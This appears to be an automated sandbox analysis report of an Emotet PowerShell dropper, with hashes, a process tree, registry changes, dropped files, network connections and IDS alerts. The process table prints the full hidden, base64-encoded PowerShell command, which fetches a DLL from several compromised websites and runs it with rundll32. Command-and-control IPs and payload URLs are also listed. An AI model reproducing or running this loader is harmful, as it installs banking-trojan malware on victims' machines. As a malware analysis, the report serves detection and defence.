| File name: | ps_script.ps1 |
| Full analysis: | https://app.any.run/tasks/d58bf54b-67a6-43a2-9a70-13a0104307f0 |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | February 27, 2021, 09:31:57 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/plain |
| File info: | ASCII text, with very long lines, with no line terminators |
| MD5: | AFCE2BF94F95C17BC64535F2A70A96D0 |
| SHA1: | EB88E2F97A2292D63D678963813A1999F69FAA45 |
| SHA256: | 9EDAA045DC625024AFEE6AC6FD532FDB27D6BEB607588C326BABDBA0B439D602 |
| SSDEEP: | 96:Gm3srxVTZ73viiaL77C/IH3bbY+ft9v8T+uC9PzmGFBJ1hes5:v3srxVVvCpLhftkK7x/nhx |
MALICIOUS
EMOTET was detected
- rundll32.exe (PID: 580)
Connects to CnC server
- rundll32.exe (PID: 580)
SUSPICIOUS
Uses RUNDLL32.EXE to load library
- rundll32.exe (PID: 3620)
- powershell.exe (PID: 2496)
Application launched itself
- powershell.exe (PID: 920)
- rundll32.exe (PID: 3620)
Executes PowerShell scripts
- powershell.exe (PID: 920)
PowerShell script executed
- powershell.exe (PID: 920)
Creates files in the user directory
- powershell.exe (PID: 920)
- powershell.exe (PID: 2496)
Drops a file that was compiled in debug mode
- powershell.exe (PID: 2496)
- rundll32.exe (PID: 3620)
Executable content was dropped or overwritten
- rundll32.exe (PID: 3620)
INFO
No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
40
Monitored processes
4
Malicious processes
4
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 920 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "-file" "C:\Users\admin\AppData\Local\Temp\ps_script.ps1" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2496 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ENCOD IABzAEUAdAAgAE0ASwB1ACAAKAAgAFsAVABZAFAAZQBdACgAIgB7ADAAfQB7ADEAfQB7ADIAfQB7ADQAfQB7ADMAfQAiACAALQBGACAAJwBTAFkAcwBUACcALAAnAGUATQAuACcALAAnAGkAbwAuAEQASQAnACwAJwBPAFIAWQAnACwAJwByAEUAQwB0ACcAKQAgACkAOwAgACAAIAAgAFMAZQBUAC0AaQBUAEUATQAgACAAKAAnAHYAYQBSACcAKwAnAEkAYQBiAEwARQAnACsAJwA6AG0AQgB1ACcAKQAgACgAIAAgAFsAVABZAFAAZQBdACgAIgB7ADYAfQB7ADgAfQB7ADAAfQB7ADMAfQB7ADQAfQB7ADUAfQB7ADIAfQB7ADcAfQB7ADEAfQAiACAALQBmACcAUwB0AGUATQAnACwAJwBHAGUAcgAnACwAJwBNAGEAJwAsACcALgBuACcALAAnAGUAdAAuAHMAZQBSAFYASQBjAGUAcABPAGkAJwAsACcAbgB0ACcALAAnAHMAJwAsACcATgBBACcALAAnAFkAJwApACkAOwAgACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAoACcAUwAnACsAJwBpAGwAJwApACsAKAAnAGUAbgAnACsAJwB0ACcAKQArACcAbAB5ACcAKwAoACcAQwBvAG4AdAAnACsAJwBpACcAKwAnAG4AdQBlACcAKQApADsAJABDAHYAbQBtAHEANABvAD0AJABRADIANgBMACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABFADEANgBIADsAJABKADEANgBKAD0AKAAnAE4AJwArACgAJwBfADAAJwArACcAUAAnACkAKQA7ACAAKABEAEkAcgAgAFYAYQByAGkAYQBiAEwARQA6AE0AawB1ACAAIAApAC4AVgBhAEwAVQBlADoAOgAiAGMAYABSAEUAQQB0AGAAZQBkAEkAYABSAEUAQwBgAFQATwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ACcAKwAnADAAfQBEAGIAXwBiAGgAJwArACcAMwAwACcAKwAnAHsAMAB9ACcAKwAnAFkAZgAnACsAJwA1AGIAZQA1AGcAewAwAH0AJwApACAALQBGACAAWwBjAGgAQQBSAF0AOQAyACkAKQA7ACQAQwAzADkAWQA9ACgAKAAnAFUANgAnACsAJwA4ACcAKQArACcAUwAnACkAOwAgACAAKAAgAHYAQQBSAGkAYQBCAEwAZQAgACAAKAAiAG0AIgArACIAYgB1ACIAKQAgACAALQBWAEEAbAB1AGUAbwBOACAAIAApADoAOgAiAHMARQBjAHUAUgBJAFQAWQBwAHIAbwBUAGAAbwBgAGMAYABvAGwAIgAgAD0AIAAoACcAVAAnACsAKAAnAGwAcwAnACsAJwAxADIAJwApACkAOwAkAEYAMwA1AEkAPQAoACcASQAnACsAKAAnADQAJwArACcAXwBCACcAKQApADsAJABTAHcAcgBwADYAdABjACAAPQAgACgAKAAnAEEANgAnACsAJwA5ACcAKQArACcAUwAnACkAOwAkAFgAMgA3AEgAPQAoACcAQwAzACcAKwAnADMATwAnACkAOwAkAEkAbQBkADEAeQBjAGsAPQAkAEgATwBNAEUAKwAoACgAKAAnAFUATwAnACsAJwBIACcAKwAnAEQAYgBfACcAKQArACcAYgAnACsAKAAnAGgAMwAnACsAJwAwAFUATwAnACkAKwAoACcASABZACcAKwAnAGYAJwApACsAKAAnADUAYgBlADUAJwArACcAZwAnACsAJwBVAE8ASAAnACkAKQAuACIAUgBlAFAAYABsAEEAQwBlACIAKAAoACcAVQAnACsAJwBPAEgAJwApACwAWwBTAHQAcgBJAG4ARwBdAFsAYwBoAEEAcgBdADkAMgApACkAKwAkAFMAdwByAHAANgB0AGMAKwAoACgAJwAuACcAKwAnAGQAbAAnACkAKwAnAGwAJwApADsAJABLADQANwBWAD0AKAAnAFIAJwArACgAJwA0ACcAKwAnADkARwAnACkAKQA7ACQAQgA5AGYAaABiAHkAdgA9ACgAJwBdACcAKwAoACcAYQAnACsAJwBuAHcAWwAzAHMAOgAvAC8AYQBkAG0AJwArACcAaQBuAHQAJwArACcAawAuAGMAJwArACcAbwAnACsAJwBtAC8AJwArACcAdwAnACkAKwAoACcAcAAtAGEAZABtACcAKwAnAGkAbgAvACcAKwAnAEwALwAnACkAKwAnAEAAJwArACgAJwBdAGEAJwArACcAbgAnACsAJwB3AFsAMwBzACcAKQArACcAOgAnACsAJwAvACcAKwAnAC8AbQAnACsAKAAnAGkAawBlACcAKwAnAGcAZQAnACkAKwAoACcAZQAnACsAJwByACcAKwAnAGkAbgBjAGsALgAnACkAKwAoACcAYwAnACsAJwBvAG0AJwApACsAKAAnAC8AYwAvACcAKwAnAFkAJwArACcAWQBzACcAKQArACcAYQAnACsAKAAnAC8AQABdACcAKwAnAGEAbgB3ACcAKwAnAFsAJwArACcAMwA6AC8ALwBmAHIAZQBlACcAKwAnAGwAYQBuAGMAJwArACcAZQAnACsAJwByAHcAJwApACsAKAAnAGUAYgBkAGUAcwBpACcAKwAnAGcAbgBlAHIAaAAnACsAJwB5AGQAJwApACsAKAAnAGUAcgAnACsAJwBhAGIAYQAnACkAKwAoACcAZAAuACcAKwAnAGMAbwBtAC8AJwApACsAKAAnAGMAZwBpACcAKwAnAC0AYgBpAG4AJwArACcALwBTACcAKQArACgAJwAvACcAKwAnAEAAJwArACcAXQBhAG4AdwAnACkAKwAoACcAWwAzACcAKwAnADoALwAvACcAKwAnAGUAdABkAG8AZwAuAGMAbwAnACsAJwBtACcAKwAnAC8AdwAnACkAKwAoACcAcAAtACcAKwAnAGMAbwAnACkAKwAnAG4AdAAnACsAKAAnAGUAJwArACcAbgB0ACcAKQArACgAJwAvAG4AJwArACcAdQAvAEAAJwApACsAKAAnAF0AYQAnACsAJwBuAHcAWwAzACcAKQArACcAcwAnACsAKAAnADoALwAvACcAKwAnAHcAdwB3ACcAKwAnAC4AaABpAG4AdAB1ACcAKwAnAHAALgBjACcAKQArACgAJwBvACcAKwAnAG0ALgAnACkAKwAoACcAYgAnACsAJwByAC8AJwApACsAJwB3ACcAKwAoACcAcAAnACsAJwAtAGMAbwAnACkAKwAoACcAbgAnACsAJwB0AGUAbgAnACkAKwAoACcAdAAnACsAJwAvAGQARQAvACcAKwAnAEAAXQBhACcAKwAnAG4AdwBbADMAOgAvAC8AJwArACcAdwB3AHcALgAnACkAKwAnAHMAJwArACgAJwB0AG0AJwArACcAYQByAG8AdQBuAHMAJwArACcALgAnACkAKwAoACcAbgBzACcAKwAnAHcAJwApACsAKAAnAC4AJwArACcAZQBkAHUALgBhAHUALwBwACcAKwAnAGEAJwArACcAeQAnACsAJwBwAGEAbAAvAGIAOAAnACkAKwAoACcARwAnACsAJwAvAEAAXQAnACkAKwAoACcAYQAnACsAJwBuAHcAWwAnACkAKwAoACcAMwA6ACcAKwAnAC8AJwApACsAKAAnAC8AJwArACcAdwBtAC4AbQBjAGQAZQB2AGUAJwArACcAbABvAHAALgBuAGUAdAAnACsAJwAvACcAKwAnAGMAJwArACcAbwBuACcAKwAnAHQAJwArACcAZQAnACkAKwAoACcAbgB0ACcAKwAnAC8AJwApACsAJwA2ACcAKwAoACcARgAyACcAKwAnAGcAZAAvACcAKQApAC4AIgBSAEUAYABwAGAAbABBAEMAZQAiACgAKAAoACcAXQBhACcAKwAnAG4AJwApACsAKAAnAHcAJwArACcAWwAzACcAKQApACwAKABbAGEAcgByAGEAeQBdACgAJwBzAGQAJwAsACcAcwB3ACcAKQAsACgAKAAnAGgAJwArACcAdAB0ACcAKQArACcAcAAnACkALAAnADMAZAAnACkAWwAxAF0AKQAuACIAcwBgAFAATABJAFQAIgAoACQAQwA4ADMAUgAgACsAIAAkAEMAdgBtAG0AcQA0AG8AIAArACAAJABGADEAMABRACkAOwAkAFEANQAyAE0APQAoACcAUAAnACsAKAAnADAAJwArACcANQBLACcAKQApADsAZgBvAHIAZQBhAGMAaAAgACgAJABCAG0ANQBwAHcANgB6ACAAaQBuACAAJABCADkAZgBoAGIAeQB2ACkAewB0AHIAeQB7ACgAJgAoACcATgBlAHcAJwArACcALQBPAGIAagBlAGMAJwArACcAdAAnACkAIABTAHkAcwBUAGUAbQAuAG4ARQB0AC4AVwBFAEIAYwBMAEkAZQBOAFQAKQAuACIAZABvAGAAVwBOAGwAYABPAGEARABgAEYASQBsAEUAIgAoACQAQgBtADUAcAB3ADYAegAsACAAJABJAG0AZAAxAHkAYwBrACkAOwAkAFoAMQAwAEwAPQAoACcAQQA5ACcAKwAnADIAUQAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQASQBtAGQAMQB5AGMAawApAC4AIgBsAGUAbgBgAEcAYABUAEgAIgAgAC0AZwBlACAAMwA1ADYAOQA4ACkAIAB7ACYAKAAnAHIAJwArACcAdQBuAGQAbAAnACsAJwBsADMAMgAnACkAIAAkAEkAbQBkADEAeQBjAGsALAAoACgAJwBDAG8AJwArACcAbgB0ACcAKQArACcAcgAnACsAKAAnAG8AbAAnACsAJwBfAFIAdQBuAEQAJwArACcATAAnACkAKwAnAEwAJwApAC4AIgBUAGAATwBTAHQAYABSAGkATgBHACIAKAApADsAJABSADYANQBJAD0AKAAnAFoAJwArACgAJwAwADkAJwArACcAQgAnACkAKQA7AGIAcgBlAGEAawA7ACQASwA3AF8ASAA9ACgAJwBGADEAJwArACcAMgBVACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVwA1ADQASQA9ACgAKAAnAFYAOQAnACsAJwA1ACcAKQArACcATwAnACkA | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3620 | "C:\Windows\system32\rundll32.exe" C:\Users\admin\Db_bh30\Yf5be5g\A69S.dll Control_RunDLL | C:\Windows\system32\rundll32.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 580 | C:\Windows\system32\rundll32.exe "C:\Users\admin\AppData\Local\Ctcwlxqgbhcms\ugxlhkanyfks.knt",Control_RunDLL | C:\Windows\system32\rundll32.exe | rundll32.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
619
Read events
488
Write events
131
Delete events
0
Modification events
| (PID) Process: | (920) powershell.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\13D\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (920) powershell.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
| (PID) Process: | (920) powershell.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 1 | |||
| (PID) Process: | (2496) powershell.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\13D\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (2496) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (2496) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (2496) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (2496) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (2496) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
| (PID) Process: | (2496) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
Executable files
1
Suspicious files
4
Text files
0
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 920 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KUT3BLCYOJJXIFGL7CMO.temp | — | |
MD5:— | SHA256:— | |||
| 2496 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\D781JAJOGFQ7F77NUPNS.temp | — | |
MD5:— | SHA256:— | |||
| 2496 | powershell.exe | C:\Users\admin\Db_bh30\Yf5be5g\A69S.dll | — | |
MD5:— | SHA256:— | |||
| 920 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF12c4fe.TMP | binary | |
MD5:16BD098831F20CBD5DE206703F60E498 | SHA256:65C997DE988ABFB0EFF06B2C6027D8DB64ECDF5500139FA84D310FBDDFE4E19E | |||
| 920 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:16BD098831F20CBD5DE206703F60E498 | SHA256:65C997DE988ABFB0EFF06B2C6027D8DB64ECDF5500139FA84D310FBDDFE4E19E | |||
| 2496 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF12c83a.TMP | binary | |
MD5:16BD098831F20CBD5DE206703F60E498 | SHA256:65C997DE988ABFB0EFF06B2C6027D8DB64ECDF5500139FA84D310FBDDFE4E19E | |||
| 2496 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:16BD098831F20CBD5DE206703F60E498 | SHA256:65C997DE988ABFB0EFF06B2C6027D8DB64ECDF5500139FA84D310FBDDFE4E19E | |||
| 3620 | rundll32.exe | C:\Users\admin\AppData\Local\Ctcwlxqgbhcms\ugxlhkanyfks.knt | executable | |
MD5:73797A694EFC5DDA7D55978C242F9946 | SHA256:F75EEE1A8FADBBC4EA30CAFA8882728ED64B0C828AEC863159D5D7224A12DF89 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
7
DNS requests
3
Threats
10
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
580 | rundll32.exe | POST | — | 90.160.138.175:80 | http://90.160.138.175/ci85dq0ryfuy/ | ES | — | — | malicious |
2496 | powershell.exe | GET | 200 | 162.241.148.243:80 | http://freelancerwebdesignerhyderabad.com/cgi-bin/S/ | US | executable | 190 Kb | suspicious |
580 | rundll32.exe | POST | — | 74.222.117.42:80 | http://74.222.117.42/1xbmw8w1uymncehue7i/07nlq3n877/ | US | — | — | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2496 | powershell.exe | 185.184.220.134:443 | admintk.com | Bandwidth Technologies Ltd | GB | unknown |
— | — | 74.222.117.42:80 | — | Farmers Telephone Cooperative, Inc. | US | malicious |
2496 | powershell.exe | 162.241.148.243:80 | freelancerwebdesignerhyderabad.com | CyrusOne LLC | US | malicious |
2496 | powershell.exe | 35.214.199.246:443 | mikegeerinck.com | — | US | suspicious |
580 | rundll32.exe | 90.160.138.175:80 | — | Orange Espagne SA | ES | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
admintk.com |
| whitelisted |
mikegeerinck.com |
| unknown |
freelancerwebdesignerhyderabad.com |
| suspicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
— | — | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
— | — | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
— | — | Misc activity | ET INFO EXE - Served Attached HTTP |
— | — | Misc activity | ET INFO EXE IsDebuggerPresent (Used in Malware Anti-Debugging) |
— | — | A Network Trojan was detected | MALWARE [PTsecurity] MalDoc Requesting Emotet Payload |
— | — | A Network Trojan was detected | AV TROJAN W32/Emotet CnC Checkin M4 |
— | — | A Network Trojan was detected | AV TROJAN Emotet Second Stage CnC Request |
— | — | A Network Trojan was detected | MALWARE [PTsecurity] MalDoc Requesting Emotet Payload |
— | — | A Network Trojan was detected | AV TROJAN W32/Emotet CnC Checkin M4 |
1 ETPRO signatures available at the full report